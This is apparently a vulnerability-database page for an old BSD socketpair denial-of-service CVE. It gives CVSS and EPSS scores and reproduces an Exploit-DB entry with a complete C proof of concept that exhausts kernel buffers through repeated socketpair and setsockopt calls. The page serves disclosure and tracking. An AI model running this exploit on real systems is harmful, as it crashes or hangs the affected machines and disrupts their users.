CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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FreeBSD, NetBSD, and OpenBSD allow an attacker to cause a denial of service by creating a large number of socket pairs using the socketpair function, setting a large buffer size via setsockopt, then writing large buffers.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.96%
–
–
2022-03-13
–
–
1.96%
–
–
2022-04-03
–
–
1.96%
–
–
2022-07-31
–
–
1.96%
–
–
2023-02-26
–
–
1.96%
–
–
2023-03-12
–
–
–
0.07%
–
2024-02-11
–
–
–
0.07%
–
2024-03-03
–
–
–
0.07%
–
2024-06-02
–
–
–
0.07%
–
2024-06-16
–
–
–
0.07%
–
2024-08-04
–
–
–
0.07%
–
2024-08-11
–
–
–
0.07%
–
2024-10-13
–
–
–
0.07%
–
2024-12-15
–
–
–
0.07%
–
2024-12-22
–
–
–
0.07%
–
2025-01-12
–
–
–
0.07%
–
2025-03-16
–
–
–
0.07%
–
2025-01-19
–
–
–
0.07%
–
2025-03-18
–
–
–
–
0.81%
2025-03-30
–
–
–
–
0.81%
2025-04-15
–
–
–
–
0.81%
2025-04-15
–
–
–
–
0.81,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 1999-09-04 22h00 +00:00 Author : L. Sassaman EDB Verified : Yes
// source: https://www.securityfocus.com/bid/622/info
A denial of service attack exists that affects FreeBSD, NetBSD and OpenBSD, and potentially other operating systems based in some part on BSD. It is believed that all versions of these operating systems are vulnerable. The vulnerability is related to setting socket options regarding the size of the send and receive buffers on a socketpair. By setting them to certain values, and performing a write the size of the value the options have been set to, FreeBSD can be made to panic. NetBSD and OpenBSD do not panic, but network applications will stop responding.
Details behind why this happens have not been made available.
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}